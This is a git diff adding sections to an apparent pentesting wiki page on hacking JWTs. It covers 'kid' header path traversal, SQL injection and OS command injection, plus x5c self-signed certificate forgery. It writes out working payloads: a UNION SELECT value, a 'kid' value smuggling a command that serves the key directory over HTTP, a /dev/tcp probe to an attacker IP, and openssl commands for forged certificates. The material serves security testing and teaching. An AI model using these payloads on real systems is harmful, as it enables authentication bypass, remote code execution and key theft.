diff --git a/.gitbook/assets/image (440).png b/.gitbook/assets/image (440).png
new file mode 100644
index 00000000..b78b164d
Binary files /dev/null and b/.gitbook/assets/image (440).png differ
diff --git a/pentesting-web/hacking-jwt-json-web-tokens.md b/pentesting-web/hacking-jwt-json-web-tokens.md
index 3e59a201..523f1416 100644
--- a/pentesting-web/hacking-jwt-json-web-tokens.md
+++ b/pentesting-web/hacking-jwt-json-web-tokens.md
@@ -83,11 +83,11 @@ If you get an HTTP interaction you now know that the server is trying to load ke
 
 `kid` is an optional header claim which holds a key identifier, particularly useful when you have multiple keys to sign the tokens and you need to look up the right one to verify the signature.
 
-### "kid" issues - reveal key:
+### "kid" issues - reveal key
 
 If the claim "kid" is used in the header, check the web directory for that file or a variation of it. For example if `"kid":"key/12345"` then look for _/key/12345_ and _/key/12345.pem_ on the web root.
 
-### "kid" issues - path traversal:
+### "kid" issues - path traversal
 
 If the claim "kid" is used in the header, check if you can use a different file in the file system. Pick a file you might be able to predict the content of, or maybe try `"kid":"/dev/tcp/yourIP/yourPort"` to test connectivity, or even some **SSRF** payloads...  
 _Use jwt\_tool's -T flag to tamper the JWT and change the value of the kid claim, then choose to keep the original signature_
@@ -98,6 +98,14 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
 
 Using files inside the host with known content you can also forge a valid JWT. For example, in linux systems the file `/proc/sys/kernel/randomize_va_space` has the value set to **2**. So, putting that **path** inside the "**kid**" parameter and using "**2**" as the **symetric password** to generate the JWT you should be able to generate a valid new JWT.
 
+### "kid" issues - SQL Injection
+
+In a scenario wehre the content of the "kid" is used to retreive the password from the database, you could change the payload inside the "kid" parameter to: `non-existent-index' UNION SELECT 'ATTACKER';-- -` and then sign the JWT with the secret key `ATTACKER`.
+
+### "kid" issues - OS Injection
+
+In a scenario where the "kid" parameter contains a path to the file with the key and this path is being used **inside an executed command** you could be able to obtain RCE and expose the private key with a payload like the following: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
+
 ## Miscellaneous attacks
 
 The following are known weaknesses that should be tested for.
@@ -163,6 +171,19 @@ Then you can use for example [**jwt.io**](https://jwt.io/) ****to create the new
 
 You can also abuse both of these vulns **for SSRFs**.
 
+### x5c
+
+This parameter may contain the **certificate in base64**:
+
+![](../.gitbook/assets/image%20%28440%29.png)
+
+If the attacker **generates a self-signed certificate** and creates a forged token using the corresponding private key and replace the "x5c" parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server.
+
+```bash
+openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
+openssl x509 -in attacker.crt -text
+```
+
 ## Embedded Public Key \(CVE-2018-0114\)
 
 If the JWT has embedded a public key like in the following scenario: